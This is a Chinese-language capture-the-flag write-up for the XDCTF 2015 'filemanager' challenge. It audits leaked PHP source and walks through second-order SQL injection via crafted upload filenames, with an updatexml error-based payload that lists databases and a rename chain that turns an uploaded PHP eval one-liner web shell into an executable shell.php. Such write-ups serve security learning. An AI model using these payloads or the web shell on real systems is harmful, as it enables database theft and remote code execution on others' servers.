[XDCTF 2015]filemanager

[XDCTF 2015]filemanager

考点

  • 代码审计

  • 二次注入

wp

三个功能,文件上传、删除文件和重命名文件

直接点删除文件发现报了SQL的错,有可能是文件名处的注入

目录扫描发现www.tar.gz源码泄露

common.inc.php进行一些初始赋值,连接xdctf数据库,并把传入的数据进行addslashes转义,然后定义上传路径为./upload,最后定义redirect()函数

upload.php中,获取上传文件。先用basename()获取带有拓展名的文件名,再用pathinfo()获取文件名中的dirname,basename,extension,filename数组,赋值为$path_parts。然后要后缀名在["gif", "jpg", "png", "zip", "txt"]中,之后对文件名进行重新拼接,再用addslashes()$path_parts["filename"]进行转义。根据$path_parts['filename']$path_parts['extension']查询文件是否已经存在。然后把$path_parts['filename']$path_parts['extension']插入xdctf数据库的file表。

在delete.php中首先查询filename是否存在,然后使用delete语句删除数据库记录,最后使用unlink()函数删除文件。

rename.php中首先查询old_name是否存在,然后使用update语句更新数据库,如果更新错误会回显,最后使用rename()函数重命名。

上传文件名aaa'.txt,执行的语句是insert into `file` ( `filename`, `view`, `extension`) values( 'aaa\'', 0, 'txt')

rename处查询文件是否存在,执行的是select * from `file` where `filename`='aaa\''

更新文件名处执行的语句是update `file` set `filename`='bbbb', `oldname`='aaaa'' where `fid`=5,所以这里的报错是near ''aaaa'' where `fid`=5' at line 1

验证存在注入

首先根据前面的报错,判断当前文件的fid是6,再上传一个文件dddd.txt,它的fid就是7,再上传文件名dddd' where fid=7#

然后rename处的oldname输入dddd'%20where%20fid=7#,newname输入ddddx

那么renameSQL语句先执行select * from file where filename='dddd\' where fid=7#'

这个文件是存在的,再update执行语句update file set filename='ddddx', oldname='dddd' where fid=7#' where fid=8

这就利用第8次上传把dddd的文件名给修改为ddddx了

注入步骤

  1. 上传f.txt文件,假设fid为15

  2. 上传f' where fid=9 and updatexml(1,concat(0x3a,(select(group_concat(schema_name))from(information_schema.schemata))),1)#.txt文件

  3. rename处oldname输入f'%20where%20fid=9%20and%20updatexml(1,concat(0x3a,(select(group_concat(schema_name))from(information_schema.schemata))),1)#,newname随便输,得到所有数据库,information_schema,mysql,perfor,再逆序一下就可以得到所有数据库,information_schema,mysql,performance_schema,test,xdctf

做法

不是注入,那就是改后缀名了getshell。

需要执行rename('upload/shell.txt', 'upload/shell.php'),也就是要让这两句分别返回upload/shell.txt和upload/shell.php

那么需要数据库中的extension为空,filename为shell.txt

那么需要执行的语句就是update file set filename='shell.php', oldname='shell.txt',extension='' where fid=1#' where fid=1

  1. 先上传shell.txt,fid为1,内容为一句话<?php eval($_POST[a]);?>

  2. 上传shell.txt',extension='' where fid=1#.txt

  3. 重命名shell.txt',extension=''%20where%20fid=1#shell.php

  4. 再重命名shell.php为shell.php.txt

  5. 再重命名shell.php.txt为shell.php

一开始上传shell.txt数据库如下

fid
filename
oldname
view
extension
1

shell

0

.txt

再上传shell.txt',extension='' where fid=1#.txt数据库如下

fid
filename
oldname
view
extension
1

shell

0

.txt

2

shell.txt',extension='' where fid=1#

.txt

此时upload目录下只有两个文件,shell.txtshell.txt',extension='' where fid=1#.txt

重命名shell.txt',extension=''%20where%20fid=1#shell.php

首先select获取的oldname数据也就是shell.txt',extension=''%20where%20fid=1#的后缀为.txt

然后执行update,update file set filename='shell.php', oldname='shell.txt',extension='' where fid=1#' where fid=2

再进行rename,把shell.txt',extension=''%20where%20fid=1#.txt重命名为newname+extension,也就是shell.php.txt,现在upload目录有两个文件,shell.php.txtshell.txt

fid
filename
oldname
view
extension
1

shell.php

shell.txt

0

2

shell.txt',extension='' where fid=1#

0

.txt

再进行重命名,oldname=shell.php&newname=shell.php.txt,这样upload目录还是有两个文件,shell.php.txtshell.txt

fid
filename
oldname
view
extension
1

shell.php.txt

shell.php

0

2

shell.txt',extension='' where fid=1#

0

.txt

然后再进行重命名,oldname=shell.php.txt&newname=shell.php,在执行rename函数就可以把shell.php.txt变成shell.php了

最后更新于